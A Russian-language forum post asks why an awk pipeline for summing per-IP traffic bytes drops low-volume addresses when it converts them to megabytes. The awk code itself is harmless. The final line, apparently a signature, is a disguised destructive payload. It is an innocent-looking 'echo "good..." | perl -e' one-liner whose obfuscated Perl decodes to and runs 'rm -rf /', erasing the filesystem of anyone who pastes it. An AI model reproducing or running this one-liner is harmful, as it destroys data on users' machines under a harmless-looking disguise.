Не знаю, верно ли создаю тему в данной ветке, но не нашел, куда можно было бы пихнуть скрипты. Суть следующая, есть ядерный коллектор, отдающий траф в формате (два дампа):
ip(откуда) ip(куда) кол-во пакетов колво байт
ip(куда) ip(откуда) кол-во пакетов колво байт
Этот вывод я сократил, так как порты не интересны, подсчет идет только по внешним ИП адресам чтобы видеть общую нагрузку. Есть скрипт, который дампит в файл данные с коллектора в выше приведенный формат, далее с помощью awk я беру только два столбца
ip(куда) колво байт
и
ip(откуда) колво байт
не трудно догадаться это входящий и исходящий траф, сам кусок кода выглядит следующим образом:
/bin/cat ${DIR_DUMP}/${SDIR}/${DNAME_EXT} | awk '{print $2,$4}' \
| grep ${NET} | sort -fn \
| awk '{sum[$1]+=$2}END{for(i in sum) print i,sum}' \
| awk '{OFS=" "} $3 = int($2/1048576) {print $1,"==> "$2,"("$3")"}' \
| sort -fn >> ${DIR_SORT}/${SDIR}/${SNAME_EXT};
${DIR_DUMP}/${SDIR}/${DNAME_EXT} - это файл дампа входящего трафа
суммируем по одинаковым адресам второй столбик в котором байты awk '{sum[$1]+=$2}END{for(i in sum) print i,sum
}' \
а вот тут сама засада, строка awk '{OFS=" "} $3 = int($2/1048576) {print $1,"==> "$2,"("$3")"}' \ выводит в файл данные в виде IP1 байт (мб)
т.е. в скобках добавляет еще Мегабайты для лучшего восприятия, и что выходит, если сумма хранящаяся в $2 мала то при делении на 1048576 получаем ноль целых ноль ноль ноль ноль, и вобщем строка из отчета с этим IP просто выпадает - ее нет, если блок кода привести к следующей форме
/bin/cat ${DIR_DUMP}/${SDIR}/${DNAME_EXT} | awk '{print $2,$4}' \
| grep ${NET} | sort -fn \
| awk '{sum[$1]+=$2}END{for(i in sum) print i,sum}' \
| sort -fn >> ${DIR_SORT}/${SDIR}/${SNAME_EXT};
без преобразований в Мб, все IP на месте, но читать не удобняк, вот и вопрос, как сделать чтобы не терялась строка, когда делим и получаем ноль целых.
P/s LOE движок по тексту [ i ] воспринимает как начало курсива и автозаканчивает эти теги самостоятельно, оформляя текст курсивом.
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'